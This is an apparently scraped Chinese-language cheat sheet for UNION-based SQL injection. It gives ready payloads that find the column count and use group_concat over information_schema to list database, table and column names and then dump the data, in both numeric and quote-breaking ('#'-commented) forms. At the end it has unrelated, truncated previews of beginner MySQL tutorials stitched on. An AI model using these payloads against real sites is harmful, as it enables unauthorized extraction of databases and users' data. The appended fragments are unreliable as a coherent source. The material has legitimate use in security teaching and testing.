select * from news where id = 『mg』 union select 1,2 #『;//前面為空,讓他顯示後面驗證是不是兩列
#->23%
3』 union select 255,
1 mg』 union select 233,group_concat(schema_name) from information_schema.schemata # ;
去掉常用的
2 mg』 union select 233,group_concat(table_name) from information_schema.tables where table_schema = 「剛剛查到的資料庫」 #;
3 mg』 union select 233,group_concat(column_name) from information_schema.columns where table_name = 「表」;
4 mg』 union select 233,group_concat(字段) from 資料庫.表;
查資料庫名,表名,字段,內容
要是字元型的要在mg後加單引號
查列數
select
*from news where id =
5union
select1,
2;//前面為空,讓他顯示後面驗證是不是兩列
查資料庫名
select
*from news where id =
5union
select
233,group_concat(schema_name)
from information_schema.schemata;
查表名
select
*from news where id =
5union
select
233,group_concat(table_name)
from information_schema.
tables
where table_schema =
"剛剛查到的資料庫"
;
查字段
select
*from news where id =
5union
select
233,group_concat(column_name)
from information_schema.
columns
where table_name =
"表";
查內容
select
*from news where id =
5union
select
233,group_concat(字段)
from 資料庫.表;
由於字元型輸入的要加引號
將後面的單引號用井號注掉
1 mg' union select 233,group_concat(schema_name) from information_schema.schemata #
2 mg'
union
select
233,group_concat(table_name)
from information_schema.
tables
where table_schema =
"剛剛查到的資料庫"
#3 mg' union select 233,group_concat(column_name) from information_schema.columns where table_name = "表"#
4 mg'
union
select
233,group_concat(字段)
from 資料庫.表#
初識MySQL初識MySQL語句
什麼是資料庫?資料庫管理系統 資料庫管理員 資料庫伺服器 什麼是表?資料 記錄 mysql select user 檢視當前使用者 mysql exit 也可以用 q quit退出 預設使用者登陸之後並沒有實際操作的許可權 需要使用管理員root使用者登陸 mysql uroot p mysql5....
mysql基礎語句 1
開啟關閉mysql net start stop mysql使用者名稱 開啟mysql mysql uroot p 開啟關閉輸出日誌 t t 新建資料庫 create database if not exists 資料庫名 顯示現有資料庫 show databases 開啟資料庫 use 資料庫名 ...
初識MySQL的命令語句
運算元據庫語句命令 1 建立資料庫命令 create database 資料庫名 2 檢視資料庫列表命令 show database 3 切換資料庫命令 use 資料庫名 4 刪除資料庫語句 drop database 資料庫名 5 建立表語法 內的屬性是選用的 可以寫 也可以不寫 create t...